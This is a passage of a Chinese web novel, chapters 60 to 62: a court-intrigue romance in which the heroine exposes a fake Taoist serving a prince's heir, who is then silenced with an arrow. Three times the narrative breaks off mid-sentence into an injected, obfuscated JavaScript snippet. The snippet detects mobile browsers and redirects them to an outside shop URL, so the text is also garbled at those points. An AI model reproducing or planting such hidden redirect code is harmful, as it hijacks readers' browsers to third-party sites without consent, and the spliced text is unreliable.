“你觉得你看到的卷宗是伪造的?” 她微微地嗯了一声,又说“也未必”。声音极轻地肯定了这一猜测极微小的可能,却足以让陆清和胸中一盏残灯狂热地燃起光亮。 有可能不是父兄,有可能不是父兄就好!! 而此刻,房中那婢女听完道士的话,只道:“我即刻去找夫人!” 遂急匆匆地推门而出。 60.假鸳鸯 在祠堂守灯的婢女脚底着火一般地走了,道士则原地打着圈焦灼着。 窗外蹲着谢辛辛几人,一时也看不出眉目,只得派阿凤再次悄悄跟上。 这厢郭夫人眼巴巴地看着神药供到了神坛前,摸到道士头的欢喜劲儿还没过去,心里又多添了一味被夫君记挂的喜。怎知道随身侍女从鸽子笼里找到一封信,转头告诉就告诉她一个新消息。 郭夫人眉头再次深深地锁了起来。 “赵世子前日才进京,眼看着就要封郡王,自然是要自己分出宣王府去……”郭夫人说着,远远觑了眼郭知州,“这修郡王府可是个肥差,老爷是吃错了什么药,果真把这桩事给拒了?” 侍女称可不是么,“老爷身边小厮亲口告诉我的,王妃心善,修郡王府的事情第一个就是想到咱们家,差了自个儿的心腹来问,怎知道老爷爱搭不理的,还说堂堂知州,连修郡王府的事儿都要管,太不像话。” “我呸。” 郭夫人啐了口,立马拉下了脸,“我看老爷这是老糊涂了,上头紧抛下来的桂枝儿都不接。咱们府上跟了宣王府多少年,到这会子才想到要脸了?觉得要做好官了?” “那宣王妃是我表姐姐,老爷下一步是不是还得把我休了?” 那侍女哎唷一声,吓得要捂自己的嘴:“是奴婢不该说的,平白又惹夫人生气。听听夫人这话说到哪里去了!老爷他脾气古怪又不是一天两天了。都说,男子成家方立业,老爷此刻心思不在宣王府上放着,还不是想着邺州那儿还有个家呢。” 要说这侍女也是个安慰人的奇才,三言两语,将郭夫人心头的火拱到三尺余高,咬牙切齿: “他不是信道么,把佘半仙叫来,给他来一卦狠的。我看不若就说那贱人和她的野种吸老爷气运,他俩活在世上一天,老爷就倒霉一天……” 可不是说什么什么就到。才发着狠,远远地就见一个女婢跑过来。郭夫人正愁没处撒火,即刻怒道:“莽莽撞撞地像什么样子!不好好在祠堂接应着道长,也想着来凑这个热闹?下个月的月俸不想要了不成?” 那女孩子才跪下回话:“回夫人,奴婢正是接应到了佘半仙,才十万火急地来,半仙说宣王爷那边恐怕发现了端倪,今日遣了贴身的嬷嬷来郭府了!具体的事,还等您过去细说!” 郭夫人一急,抬脚就往祠堂赶去。远处灯影摇摇,身后花花绿绿的裙摆追着她,颇有大扑棱蛾子扑火之感。情急之中似乎与那位送神药的姑娘擦肩而过。边青昙从眼角看了一眼她,低下头,默默地退了下去。 这就是范医师的心头肉? 郭夫人这么想了一念,只觉得既然范守一是赵世子的人,那么这位送药的女使想必也和郭府是同一阵线了。 这一丝丝安全感在正焦急着火的心头掠过,没有引起再多留意。 更何况她前脚刚踩进祠堂,后脚就被佘半仙吓了一跳。 佘半仙胡子打着颤,跌跌撞撞地扑过来:“夫人!夫人!” 郭夫人堪堪一躲,没好气地瞪他:“好好说话,王爷那边怎么露馅的?” 佘半仙站稳了才道:“露馅……也说不准。在下倒是想问问,这王爷家贴身的宋嬷嬷,在夫人的眼皮子底下进了郭府,这……” 郭夫人蛾眉倒竖:“你是说我管我们府上的方法有问题?再说,你说是王爷贴身的就是王爷贴身的?我怎么没见到?” 窗下谢辛辛与宋嬷嬷相视一眼,谢辛辛才明白嬷嬷口中知州夫人“不争气”是什么意思。 一门心思扑在子嗣上,把后宅料理的,下人尽可随意议论主子私事,且连她们一行人暗度陈仓进了府,郭夫人不仅不知,还不放在心上。 她叹了口气,心想就连娘亲这样强势的女子,嫁了人也不得不被冠以谢夫人之名,可见这世道女子嫁人已是带了镣铐,有人的镣铐轻一些,得以在商界冠夫姓驰骋,有人的镣铐则重,只能在后宅泼墨挥毫。 郭夫人这般做女人,倒像心甘情愿是把自己塞进镣铐里,连在后宅的空间也舍弃了。 屋内佘半仙和她说不通,只好换个思路与她道:“我见那嬷嬷来了,便怀疑是王爷起了疑心,若知道我接近郭大人是有隐情,届时查到世子身上……” “王妃还在呢?”郭夫人翻了个白眼,“怕他做什么?老不死的东西,也没多少日子了不是?” 窗下宋嬷嬷的脸色霎时暗了一半。 陆清和眼眉微锁,下意识摩挲着指节: “和你想的一样,此人果然与宣王世子有关。” 谢辛辛不答,专注地窥视着祠堂内部的一举一动。 “公子,要出手吗?”阿凤问,“不若就在此时此地,将这二人一网打尽。” “不可。” 陆清和道:“你要捉一州之长的夫人,岂不引起轩然大波。我如今正是假死之身,我在暗,敌在明,万不要打草惊蛇。等郭夫人一离开,我们只捉这道士一人。” 宋嬷嬷却说:“郭夫人与王妃往来甚密,郭大人又是世子殿下的人。如今郭夫人既已知道我于郭府露面,放跑了她,她会不会和王妃、世子殿下通信?谢小小姐,除非迫不得已,我不该给王爷带去麻烦。” 谢辛辛自是了然。此时她心中一动,早有一计,便嫣然笑着,让她放心。 “郭夫人对此事自会难宣于口。”谢辛辛拍了拍她的手,“交予我来安排。” 屋内佘半仙自然与宋嬷嬷想到了一处去,百般劝着郭夫人:“夫人,要我说,我先离开莲州避一阵子。您想个法子进府与王妃说一说,将王爷身边这个老嬷嬷解决了再说。” 郭夫人捏着帕子,不情不愿:“因为这种小事去麻烦姐姐……姐姐早看不惯王爷身边之人,只是那些奴婢多少都有些本事背景,有的还牵扯宫中,哪有这么好解决?” 佘半仙便说:“夫人,若真是王爷身边的宋嬷嬷……虽说王妃和世子殿下如今通力合作,但待世子殿下知道此事,您是王妃的表妹,自然不会有什么。这郭大人的仕途,可就不保准了。” 如谢辛辛所料,郭夫人心中全是自己的亲亲郎君,闻此言早已胆寒,只好道:“那我、那我先去问问老爷?” “大不了,我先不说你是世子殿下请来哄骗老爷的,只说你请他留神着府中来了不该来的人,于法事的效果有碍,如何?若老爷抓得到人,那我们再想法子送进王府里发落……” 佘半仙虽然对这个答案不甚满意,但也嗳了一声,亦是接受了的意思。 怎料忽然一阵妖风,窗边风影邪动,大门洞开,冷夜的风穿堂而过,吹得灯笼灭了一排。 祠堂内烛火禁冷风一吹,灭了大半,自成一屋子的昏暗。 谢辛辛即刻捏着嗓子大叫起来: “啊!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212433|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道士在郭家祠堂偷情!!!” 四下顿时大乱,从法场处传来奔跑的足音,众人皆问: “道士?” “祠堂?” “偷情?” “太生猛了吧?!” 郭夫人震惊有余,忙唤自己的婢女:“兰香,兰香!外面是谁!” 可屋外哪还有兰香呢?兰香早被阿凤一记掌风拍晕在角落,失去意识了。 佘半仙急得团团转:“哪个不长眼的!老身几到天命之年,偷哪门子的情呢!” 郭夫人瞪了他一眼,心道重点是你有多老吗?重点是郭府的主母和仙云观的道长在祠堂被人诬陷了好不好?更何况天命之年又如何,郭大人年岁也不小了…… 也许是念及方在祠堂,她扼下了剩余的念头,抬腿给了佘半仙一踢:“快滚,快滚,从后门出去!” 佘半仙哎哟连天,一把老骨头了,靠坑蒙拐骗才混了些好日子,哪想到还有今天。捂着老腰才钻个小门出去,眼前又是一黑——又一个被阿凤拍晕的。 这会儿祠堂周围早聚了一些人窃窃私语,只问“谁在里面”。 谢辛辛几人趁乱悄悄远离了事发之地,隔着一条小路隔岸观火。 堂前的灯笼一盏一盏被点了起来,不等人群乱成一团,郭夫人从里面推开大门,厉声道:“哪个小贱蹄子在叫唤!” 众人见是当家夫人,皆是一愣,有眼力见的几个当场就跪了下来,不敢再说话。 郭夫人早先瞥见佘半仙钻了出去,虽然不知发生何事,心里还很是得意。无论是谁有心要污蔑她,这会子总污蔑不成了吧。 她气势汹汹地一叉腰:“怎么?我大门敞开,你们当着郭家列祖列宗的面,看看这祠堂中哪来的道士?都滚去做事!一个两个的都是饭桶,吃了饭只会瞧热闹不成!” 一场闹剧,悻悻而终。只是郭夫人发了好大的火,懂事的早就去请了郭大人来。 一见郭大人一脸困惑地走来,郭夫人的委屈顿时涌上心头,不由得贴了上去,称有心人污蔑她,吓得她心中小兔乱撞,紧接着骂骂咧咧地数落了好一通下人。 对了,方才要和老爷说什么来着? 郭夫人哭唧唧地回忆着方才的事。 似乎是要说佘半仙请老爷留意宋嬷嬷的事…… 等会儿。 郭夫人抹眼泪的手顿了一顿。 方自证了清白,这会子再提起佘半仙,自己究竟是何时见到的半仙呢?未免太可疑了些。 一个嬷嬷,总归也不是什么大人物。郭夫人想,此事就揭过了吧。 如此,便心安理得地倚进了郭知州的半臂中。 …… 深深的夜里,哪怕是荒谬如这般的事都可能发生。哪怕是堂堂知州的府上,各人心怀鬼胎,也有这样乱糟糟的时候。 这个体会,金福柱也是懂的。他在王府里做过事,如今回头再看,那偌大的宣王府,岂不也是茅草麻线,乱作一团。 金福柱紧了紧身上的包袱——虽说是包袱,也没几件行装。他叹了口气,自言自语道: “走吧。” “去云京试一试。天子脚下,或有求告之所呢?” 趁着夜色,踩着绳履,金福柱一脚一脚的向云京走去。他一个力工,没有银钱租马租车,如今能给自己带来公道的,只有自己的一双腿。 61.报应之 十常山陡峭,却在东西二峰之间可见一处开阔的山麓。 两位骑着高马的少年郎沿着山麓的方向前进,身后各自跟着十余随从。 赵都云骑着红马,张弓射箭,倏然间箭破长空去,疾风过山岗,三百丈开外,一只不知什么野兽匡然倒下,惊起飞鸟一群。 一名骑矮马的随从就驾马而出,远远地奔进山林。 不消多时,随从驾马归队,高声道:“云顺郡王,牝鹿加一只。” 太祖封王之时,定下降等袭爵的规矩。赵都云进京,不知在皇帝耳边吹了什么风,又因老宣王确实不大中用了,皇帝口谕,已让赵都云顺袭云顺郡王。 既降了爵,原先的亲王府其实住不得了。 但老宣王身体状况可以说是半死不活,他不死,封王仪式一时办不得,怕他什么时候突然就殁了。 但他也不活,赵都云便顺势顶着郡王的名头,住着亲王的府邸,把着亲王的权利,谁也不说得什么。 既有天子授意,众人便当即改了口,不叫赵世子了,改叫云顺郡王。 “云顺郡王,猎获鹿四只,雉兔三十又一。共计一千又零二十七斤三两。” “陆世子,猎获鹿二只,野猪一只,雉兔一只,共计九百九十八斤九两。” “云顺郡王,胜——!” 红马之旁有一通体斑驳的棕色大马,身上棕色与白色交错,仿若山顶积雪融化,一瞧便是一匹战功硕硕的战马。 陆景明目光炯炯,黑眉斜飞入鬓,高额盛鬋,在山风中朗声大笑:“不愧是云顺郡王。” 他倒是祝贺得不甚经意,但这一贺在赵都云的心里一转,转出了几分讽刺的意味来。 赵都云面色转冷,微微笑道:“陆世子秋猎莫非是高风亮节,敖世轻物。我与你相约一场秋猎,世子是多一只兔子也不屑打,是懒怠与本王分个高下?” 陆景明所带之人皆是随他出征的亲兵,此时整齐划一地一动,手都按在了秋猎的弓与刃上。 陆景明摆摆手,安抚了众人,拱手道:“云顺郡王说笑了。景明心里全把郡王当自己亲兄长一样看待,若不然,也不会……” 语意未尽,赵都云也不问,心里松快了一些,还是刺他一句: “亲兄长?” “你真正的亲兄弟,可是死在我手里。” 陆景明脸色微变,很快还是笑道: “成大事者,不拘小节。” 秋猎近尾声,山间也徐徐地降了温。赵都云的笑声浸着凉意,回荡在山谷里。 赵都云笑得仰倒在马背上:“好,好,好!” “好一个,不拘小节!” “本王就喜欢同你这样明理之人相处!” 正要收队回城,忽然后方有一侍卫一路打马飞奔至赵都云身边,滚落下马冲道赵都云耳边: “云顺郡王,莲州那边……” 赵都云一沉眸,坐起身子,慢慢道: “杀了便是,这也消我来教他们?” …… 一盆凉水从头将佘半仙浇了个透。 佘半仙在劈头的冰冷中惊醒,好一会儿才缓过来,发现自己被五花大绑,倒在一处空地上。 阿凤将水桶丢在一边,扶他起来,拍他的脸: “怎么样,能说话了吗?” 佘半仙点点头,见身边围着好几个人,下意识端坐起来,神神秘秘道:“我做了一个梦,天机不可泄露。” 谢辛辛笑了笑:“还装模作样,都知道你是假道士了!” 佘半仙一愣。她说的没错,自己确实是装模作样。 但他的确做了一个梦。 梦里他回到了还有一个家的时候。 他并非本就孑然一身。他曾经有一个家,虽天公残忍地带走难产的妻子,却给他留了一个让他骄傲的儿子。 儿子是村里打铁的好匠,能用废铁打出吹毛断发的好刀剑。 可有一天他醉了酒,第二天,儿子不见了。 他四处打听,求告,知道儿子是被请去宣王府里做工了,为王府里的工匠传授打铁技艺。 他放心了,仍然为自己的儿子骄傲。 他这么骄傲着,等啊等,却等到了赵都云找到家里来,说他那身体健硕,天才的儿子意外身死,说他儿子做得很好,所以王府会为他这个老头也提供一个好差事,让他自己攒自己的棺材本儿。 于是将他送进了仙云观。 他是后悔的,后悔那日为什么要醉酒,如果不贪那一壶,是否可以跟着儿子一同进府,这样他儿子在眼皮底下,或许便不会出意外了。 他没能陪着儿子进府,所以他自愿继续替儿子为王府做事。如此,便成为了一个替王府招摇撞骗的老骗子。 后颈传来的余痛将他的思绪拉扯回今天。佘半仙摸摸后脑,忽地反应过来这几个人来者不善。 难道做骗子的报应就是今天到? “不说话?”阿凤用胳膊肘怼了怼,“你没有什么想解释的吗?” 佘半仙才反应过来,大叫起来:“我什么也不知道啊!我什么也不知道!” 谢辛辛将宋嬷嬷拉到身边,“你什么也不知道?那你见了宋嬷嬷躲什么?” 余半仙支支吾吾:“这、这是能说的吗……” 陆清和使了个眼色,阿凤立刻匕首抵上佘半仙的咽喉:“不说现在就死。” 佘半仙才犹豫一秒,那匕首立刻在他脖子上划出一条白印。 “我我我我我我不知道你们要听什么啊!”佘半仙吓得大叫。 陆清和半蹲下来,认真地看着他:“你为何要设计郭知州,使他引谢小掌柜到我身边?” 谢辛辛推了推他:“你态度倒好……” 佘半仙不敢再多想,往后缩着脑袋:“赵世子让我这么干的,和我没关系,我不知道世子要做什么。” 赵都云获封郡王的消息还没传到莲州,佘半仙自然还没改口。 谢辛辛一细想,才发现陆清和的问法有些讲究。明明此人设计郭知州之时还只是他们二人的猜测,陆清和却以此为前提问这道士原因,将这道士也带进了问题里。 佘半仙被他这一问,丝毫不怀疑他们知情多少,连否认也忘记了。 谢辛辛有样学样,趁机问了她最疑心之事: “那你为什么要修改架阁库的卷宗!谁给你的狗胆!” 佘半仙此次却大喊冤枉,“我没改!我没修改啊!” 谢辛辛心一沉。 果然,如果此时他真没做过,第一反应便是否认。 那么她的灭门仇人,真是北瑛王府么? 她身形微僵,有些不敢看身边之人。 佘半仙却继续道: “我只是奉赵世子的命,将他准备好的卷宗替换进去罢了!我自己哪有那个胆子改卷宗呢!!” 才堕入冰窖的心,忽然湿淋淋地浮了上来。 谢辛辛心中一跳,忙转头去看,见陆清和温润的脸上也松动下来,如一汪秋水,松弛之下,细小紧张地呼吸。 至此,事态大致明晰,自己的惶恐被佘半仙此话一吹即散,还残余几缕微末的不真实感。 陆清和按捺住内心,追问他:“原卷宗呢?” 佘半仙头摇得像小儿手中的拨浪鼓:“我不知道,我不知道。” 他天大的胆子也知道,偷换架阁库卷宗是多大的事情。为了保命,有的事说两句也就算了,有的事一旦说出来,自己这老骨头可真就活不久了。 谢辛辛知道赵都云行事谨慎,料他或许真不知道,不再强求,只是问他:“所以你是个假道士?当初说什么我五年之内必有牢狱之灾,也是假的?” 佘半仙见她松了口,可怜兮兮地将被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260140|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绑的手举到面前:“谢小掌柜,我五十来岁了,饿了,说不动,且把我松松绑,带我去吃点东西吧。你放心,我知道你们是好人,如今我一把老骨头,跑也跑不掉,我乖乖的,你们问什么我都答。” 心里想的却是,留得青山在,不怕没柴烧,大不了找个机会,灌他们点酒,我偷跑掉便是! 骗子当久了,心思自然活泛。堂堂佘半仙,岂有被三个年轻人加一个老嬷嬷制住的道理? 谢辛辛与陆清和习惯性对视一眼,想到方才佘半仙吐露的一点真相,触电般又避开。还是宋嬷嬷听得此话,或是想到府中的老王爷,心有不忍道: “他说得没错,人老了,确实体弱。我们边走边说,找个吃宵夜的地方吧。” 众人达成一致,阿凤堪堪将佘半仙扶起,为他割开手绳,以防万一,留着脚上捆缚的麻绳未解。 几人就这么带着一个“半仙”朝城中走去。佘半仙边走边思考着逃跑的路线,不时絮叨几句,转移着谢辛辛等人的注意力。 “我可不是什么假道士,昔日我儿身死,赵世子便引我进了道观,嘿,还正合我意。你说我一个老头子,老婆难产走了,儿子随后也死了,我可不得了却陈缘去?” 谢辛辛问:“你和郭夫人又是什么关系?看着相熟得很,你见着宋嬷嬷,还求救于她。” 佘半仙哂然一笑:“我们干这行的,多拿几边的银子那是常态。要不说我为什么喜欢这个差事呢?你听我道来——” “我替王府做事,赵世子给我发一份银子,那是应当。” “世子命我去接近,啧,也可以说是监看、引导郭大人,郭大人信我,平日里请我做法事,还给我发一份银子,这是我的福缘。” “至于郭夫人,你猜怎么着?说来也巧,此事和你谢小掌柜也有点关系。自从郭大人请我为他出个救他儿子的主意,请了你到衙门一叙之后,这事不知怎么的,被郭夫人给知道了。” “原来郭大人的儿子,是郭夫人想弄死的,嗐,你说这郭府的私事哟——” 谢辛辛清了清嗓子:“说重点。” 佘半仙:“哎,知道知道。” “那郭夫人还以为我真有什么神通,竟然又出一份银子收买我,让我替她求子。我哪里知道生儿子的事!这也就罢了,郭夫人也叫我监看着郭大人,大人那边有什么邺州有关的风吹草动,叫我都知会她。” “这郭夫人给的第三份银子,乃是老身凭名声挣的。” 几人各自看了几眼:这一份工吃三家银钱,说得倒是好听。 佘半仙忽然神神秘秘地凑到谢辛辛跟前: “但是谢小掌柜,这牢狱之灾,可不是我空口白话。” 谢辛辛一怔,侧目看他。 佘半仙目光一扫众人:“天机不可泄露,你们都散开。” 陆清和狐疑地望着他,只道:“此人颇为可疑,不要轻信为好。” 谢辛辛却道没事:“他这个年纪还能跑到哪里去,你们散开,我倒想听听这牢狱之灾他从何算得的。” 佘半仙便好整以暇地观望他们。宋嬷嬷先退了出去,然后是陆清和与阿凤。直到几人退得足够远,余半仙才极小声对着谢辛辛道: “这个牢狱之灾嘛,便是——” “——天机不可泄露!” 话音未落,佘半仙一个箭步! 谢辛辛当下明白自己被耍了,才要伸手抓他,这佘半仙这个年纪,跑得竟然比野狗都快! 几人还没反应过来,他早已窜出去几十米! 陆清和道:“阿凤,抓回来!”而阿凤不等他说完,早已离弦一般冲了出去。 身后陆清和却改口道:“小心!” 眼看着就要追到佘半仙,阿凤一听,连忙侧身一躲,一支暗箭直直飞来! 噗地一声,将佘半仙贯穿胸膛,钉在了地面上。 62.骂小雨 佘半仙慢慢地跪倒在地面上。 见此景,宋嬷嬷呼吸一窒,轻轻闭上了眼睛。 谢辛辛本就在追他的路上,此时一愣,从她这里看过去,此人只像是安静地朝前跪下了,睡着了一般。 陆清和率先反应过来,阔步上前挡在她身前,严声对阿凤道:“查这只箭。” 谢辛辛心知他是不愿自己见到这个场面。 阿凤却没有立即动身,而是上前探了探佘半仙的鼻息: “还有气!” 不待陆清和再说什么,谢辛辛伸手从后面拨开他:“别拦着我。” 声音带着颤抖的愠怒。 她不顾陆清和的阻拦冲到佘半仙面前,问阿凤:“还有救吗?” 阿凤摇摇头。 被箭贯穿之人看见谢辛辛,却剧烈地挣扎起来,瞠目欲裂。 “你别乱动!”谢辛辛颤巍巍地扶他,“别动!动了血流得更快!” 佘半仙听了这话,咧开一个自嘲的笑容。 时至今日,早死晚死还有什么分别? 佘半仙指尖动了动,却难再抬起来,只能自喉咙中发出嗬嗬之声。 谢辛辛才明白他有话要说,忙将耳朵贴近他。 “赵、赵……” 谢辛辛:“赵都云?” 佘半仙艰难地点点头。 谢辛辛猜着他话里的意思:“赵都云杀你灭口?” 佘半仙倒呆住了。 她猜的没错,连佘半仙自己也知道,这多半是赵世子得到了消息,准备杀人灭口。 可是…… “赵都云”、“灭口”,这两个词从旁人口中说出来,他的脑中忽然闪回了曾与儿子相伴的画面。 杀人、灭口。 是啊,他怎么从来没想过,儿子他也许是死在赵都云的手中?! “哈哈、哈……” 佘半仙笑了。 未想到濒死之际,才发现自己如此糊涂。 阿凤问:“他笑什么?” 佘半仙不答,努力靠近谢辛辛,伤口因而被扎进地面的利剑撕裂,涌出汨汨鲜血。 “小心……赵世子……牢狱之灾……我没骗你……” 谢辛辛心念急转:“你是说我的牢狱之灾和赵都云有关?” 佘半仙用仅存的余力轻轻点头: “他……” 他字未完,余音渐弱,散入了夜色里。 “他死了。”阿凤道。 不待谢辛辛多思考,身后却忽然传来一阵官靴的脚步。 “何人在那!!鬼鬼祟祟!”领头的士兵高声喝道,“夜巡司巡逻查问,前人站住!别动!” 陆清和当机立断:“怕是赵世子安排收拾残局的后手,若再逗留,他们极有可能将佘半仙这一命赖到我们身上。阿凤,你带宋嬷嬷回府,而后来边姑娘家与我们汇合!” 士兵远远喝道:“躲什么?站住!” 匆忙之际,宋嬷嬷却拉住谢辛辛:“小小姐,我还有一事未说。我帮了你这一次,自然也是有需要小小姐的地方……” 谢辛辛忙道:“那是自然,嬷嬷你快说,只要是我能做到之事,我都答应你。” 前面一具咽了气的尸体,后方一队巡逻兵骑马追来,宋嬷嬷却郑重其事地朝谢辛辛行礼。阿凤急得催促:“宋嬷嬷,你快些。” 宋嬷嬷深重开口: “请谢小小姐助我。” “请谢小小姐助我,给老王爷一个痛快,让他有尊严地,入土为安。” 不给谢辛辛更多时间讶然,身后追兵已至,混乱之中她慌张点头: “我答应你。你放心,嬷嬷,你先随阿凤回府,我们晚些再说!” 遂两路人朝两个方向散去。 佘半仙的尸身留在原地,兀地,血迹上溅起两滴雨。 两位巡逻兵追上前,也不惊讶,熟练地将尸体抬走,余下的人便陆续上来清洗地面。 一人问:“头儿,那些人跑了,怎么办?” 领头的忖了忖,道:“把尸体处理干净些,别叫人再发现。世,……云顺郡王只叫我们杀人,没说别的,别给我节外生枝。” …… 莲州许久没下雨了。 先是天蓦然地沉下来,几滴如田蛙凫水一般的小雨。然后是断裂的珠帘一般,倾倒在大地上。 他们逃回到边青昙的住所时,天已蒙蒙灰白,雨才落下来,夹杂着池塘和泥土的腥味。 陆清和假死这几日,为防玉春楼中的宣王府耳目,他与谢辛辛一直在边青昙家聚首,几人早把边青昙家当做秘密据点一类的地方。 但今日不同,今日边青昙兀然在郭府出现,举止奇怪,谢辛辛摸不准她的意思。 此刻雨声扰耳,天光蒙眼,血光乱心,几人奔逃而来,顶着雨丝围在边青昙家外,皆是模样狼狈。 谢辛辛心中乱作一团,也不知边青昙回家没有,拍了拍院门,只叫:“宛姐姐,你在吗?” 却无人回应。 谢辛辛拍得用力了些:“宛姐姐,宛姐姐!” “宛姐姐,宛姐姐!……宛姐姐她为何不在,不会是出什么事了吧?” 陆清和双手轻握她肩膀,让她看着自己,温声道:“你看着我,先别慌。” 谢辛辛的眼睛有些红:“我……” “许是我才目睹那个道士他……我心里头,有些不舒服。抱歉。” 陆清和脱下外袍,覆在她头顶上,转向院门内道:“边姑娘,你在吗?” 依旧是无人回应。 谢辛辛仰头看他,内衫被雨水薄薄打湿,微微透着肤色。再看头顶,他脱下的外衫早已浸透了雨水,防不住什么雨丝,倒湿答答的贴着她的头发。 她笑了一下,将他的外袍夺到手里,索性淋着雨骂他:“你这衣服比雨水还凉呢,我才不要。” 陆清和心头一动,隐约间能察觉,她自郭府回来后,已然撤下了一道心防。 也不还嘴,对她道:“边姑娘也不在,你且别急。她们两人从前不是经常一起出门么?如今时辰尚早,或许是采药材还未归家罢了。” 谢辛辛想了想,说这会子下着雨,若是采药,早该归家了。 阿凤道:“刘宛娘子许是回玉春楼了呢?那个姓李的坏人死了,刘宛娘子其实早就可以回玉春楼去,先前她说是不急,才多留了几日。” 谢辛辛:“有理。如此,我便先回玉春楼看一眼。” 陆清和忙道:“此处离玉春楼还有些远,先去租一辆马车,我们与你同去。无妨,我们在马车里,不出去,你有何事便来马车找我。” 阿凤重重点头:“找我们。” 陆清和:“……嗯。” 三人回到葫芦巷子里,陆清和寻着一个卖早点的铺面,腾腾地冒着热气,便将谢辛辛按在这里:“且等等我。阿凤陪着你。伙计,来一盏热汤,麻烦快些。” 于是披着雨就要冲将出去,阿凤忙道:“公子你做什么?还是我去租马车吧,这儿巷子窄,车进不来,你和谢小掌柜在此处稍候。” 陆清和顿下脚步,侧身道:“她才受了惊,你有功夫在身,留在这里她多少安心些。” 云层压了下来。 谢辛辛胸中本也像被乌云堵着,却被他几句说得像电雷闪动,松松地落下雨来。 她伸手拉了拉他:“你陪着我吧。” 陆清和扭头,微微怔神。 阿凤却笑得牙酸,踏着积水小跑出去。 谢辛辛拉他坐下:“你坐你的,愣什么。” 陆清和下意识接上,道:“你好像不怨我了,是因为觉得谢家一案和北瑛王府无关了,所以不生气了?” 谢辛辛将手上他湿透的外袍朝他一扬,水珠险些扬到陆清和脸上,惊得他眯眼一挡。 “你原来知道我生气?”她骂他,“那你还装作个闷葫芦?我生气,你就什么也不做吗?” “我……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306523|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你先别说话。”谢辛辛打断他,“什么叫谢家一案和北瑛王府无关,我便不生气了?你将我当做什么人?我在你心里,究竟是什么人?” 陆清和恍然:“那,你是因为……?” 谢辛辛用眼角看他:“因何?我是因何?现在是我在问你的话。” 雨势好像更大了些,店家上了一碗热汤,吆喝声也被雨声打碎在地上。陆清和张了张口,谢辛辛一时怀疑是他没出声还是被雨声盖了过去。 直到他的的确确开口道:“我确有话要对你说。” 谢辛辛状若不经意,掖了掖鬓发:“什么话?” 陆清和道:“之前我一直瞒着你。其实我……无甚官职,更不在大理寺任职。” “我不是想听这个……”谢辛辛说了半句才回神,啊了一声,“那、你是什么官?” 陆清和心跳得很快,只说:“不重要。我只是不想再瞒着你。从前,我查案也并非是为官家查的,而单是为了北瑛王府。” “这……” 她一时转不过弯来,还未来得及想这意味着什么。说到底,她如今对陆清和做什么官,当什么值似乎并不那么在意。毕竟她的敌人,似乎已经不在云京。 陆清和下定了决心,终于欲说出心中所想:“之所以如今要对你说这些,是因为我想请你,等我。等我回京,将我所查向天子复命,搏得权势官名,我定来求娶……” “公子!”阿凤从远处跑来,打断了她“谢掌柜!我已将马车赶到巷口,可以出发了。” 谢辛辛喊了声知道了,转头问他:“你刚刚说定要做什么?被阿凤一嗓子盖过去了,我没听清。” 陆清和笑了笑:“没什么。我忽然想起来,据那道士所言,谢家一案的卷宗是被赵世子偷梁换柱了。那么,你的仇人是否未必是北瑛王府?” 那她,还需要嫁到北瑛王府中吗? 谢辛辛怔了怔,点头称是,“我才知道原来先前的线索都是赵都云故意引导……我这段时间,怕是一无所获。” 看她怅然,陆清和摇头道:“非也。依我看……” 阿凤喊道:“公子,谢掌柜!” 谢辛辛便起身催他:“先走吧,我先去找宛姐姐,晚些和你说。” 如此费了一番时间,赶到城中时街道已然热闹起来,玉春楼内笙歌阵阵,觥筹交错。马车趁着这股闹意绕到酒楼后门处,在一处老垂柳下停住了。 谢辛辛熟门熟路地抄小路绕进酒楼后院,也顾不上寻一把伞,直奔刘宛房中,推门而入—— “咦?”刘宛被突然打开的房门骇了一跳,转过身来,慌忙道,“辛辛,你怎么淋着雨?快进来坐下!” “宛姐姐?”谢辛辛执了刘宛的手,“你怎么一声不吭回来了?我去青昙姑娘家里没看见你,吓死我了。” 刘宛替她拂着水,埋怨着:“这么大人了,如何还是不会照顾自己?” “边姑娘今日回家,不知为何,便请我回来,说是我不便在住在她家了。我在她借住如此之久,本就不好意思,听了这话,自然收拾完东西就回玉春楼了。” 谢辛辛不解道:“她赶你回来?为何?我看她很喜欢你。” 刘宛温柔地笑了:“怎好说是赶?她亲自替我收拾了行囊,送我回来的玉春楼,你若来得早些,或许还能遇上她呢。” “她素来体贴,我也没有问缘由。想来之前能借住她处,也是因为范医师常住医馆,不归家的缘故。我想着,或许是范医师要回家住,边姑娘便觉得家中有客不便了吧。” 谢辛辛任由刘宛替自己换上干爽衣服,内心忖算不已。 边青昙才在郭府露了面,立刻就将刘宛请出家门,这两者之间,难道有什么联系吗?若是范医师要回家小住,为何是在这么巧的时间? 从她这几日视角看来,边青昙对刘宛乃是赤诚之心不假,又为何要忽然请她回酒楼? 